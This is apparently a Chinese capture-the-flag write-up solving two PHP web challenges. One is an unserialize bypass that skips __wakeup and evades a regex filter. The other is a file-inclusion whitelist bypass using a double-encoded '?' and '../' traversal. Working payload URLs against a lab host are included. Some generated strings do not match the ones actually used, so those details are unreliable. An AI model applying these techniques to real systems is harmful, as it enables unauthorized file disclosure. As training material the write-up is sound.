观察代码
题目需要绕过__wakeup和preg_match(’/[oc]:\d+:/i’, $var
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') { //看到__wakeup,反序列化了fl4g.php
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) { //如果传入参数匹配则不输出
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php"); //没得到参数显示这个文件,即现在看到的代码
}
?>
首先在在线php序列化一下fl4g.php文件(在线工具点击这里)
class Demo {
private $file = 'index.php';//private: 私有类型
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
$a=new Demo(fl4g.php);
$b=serialize($a);
echo($b);
得到序列化后为 O:4:“Demo”:1:{s:10:“Demofile”;s:7:“fl4gphp”;}
绕过__wakeup,利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行,所以把属性1,修改为2,序列化后格式可以看https://blog.csdn.net/weixin_45689999/article/details/104608039
利用php的str_replace()函数替换1为2
$b = str_replace(’:1:’ , ‘:2:’, $b);
[oc]:在o或和c中匹配
::照写
\d:匹配数字
/i:不区分大小写
O:4匹配了,所以要替换
$b = str_replace(‘O:4’, ‘O:@4’, $b);
而且private属性被序列化的时候属性值会变成%00类名%00属性名
而%00是截断符号,所以用base64编码输出
$ b = base64_encode($b);
所以
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
$a=new Demo(fl4g.php);
$b=serialize($a);
$b = str_replace('1' , '2', $b);
$b = str_replace('O:4', 'O:@4', $b);
$b = base64_encode($b);
echo($b);
?>
得到TzpANDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo3OiJmbDRncGhwIjt9
传参
http://111.198.29.45:54760/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ
的flag
因为是web题,打开F12,看到注释里的source.php,访问这个文件,得到源代码
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//!
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看到另一个php文件,访问hint.php
回去重审source.php
变量page是否为字符串,是否在whitelist里面,要满足都是得要求
mb_strpos — 查找字符串在另一个字符串中首次出现的位置
mb_substr() 函数返回字符串的一部分
由源码,对于get传入得变量page只能截取到 ?以前的字符串,以后的无效,可以用url编码绕过
但是源码对page进行了url解码,所以对?用url二次编码,在函数解码一次,在服务器端解码一次,绕过。
include函数:以字符‘/’分隔(而且不计个数),如果在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
/…/含义https://blog.csdn.net/helloworld963/article/details/86545132
不知道目标文件在几级目录,有几个“…/”,就向上跳几级,所以一个个试,其实看到ffffllllaaaagggg提示是四级
构造payload可以是
http://111.198.29.45:58041/?file=hint.php?/././././ffffllllaaaagggg
也可以是
http://111.198.29.45:58041/?file=hint.php%253f/../../../../ffffllllaaaagggg
http://111.198.29.45:58041/?file=source.php%253f../../../../../ffffllllaaaagggg
%253f是 ? 的二次编码
由此得到flag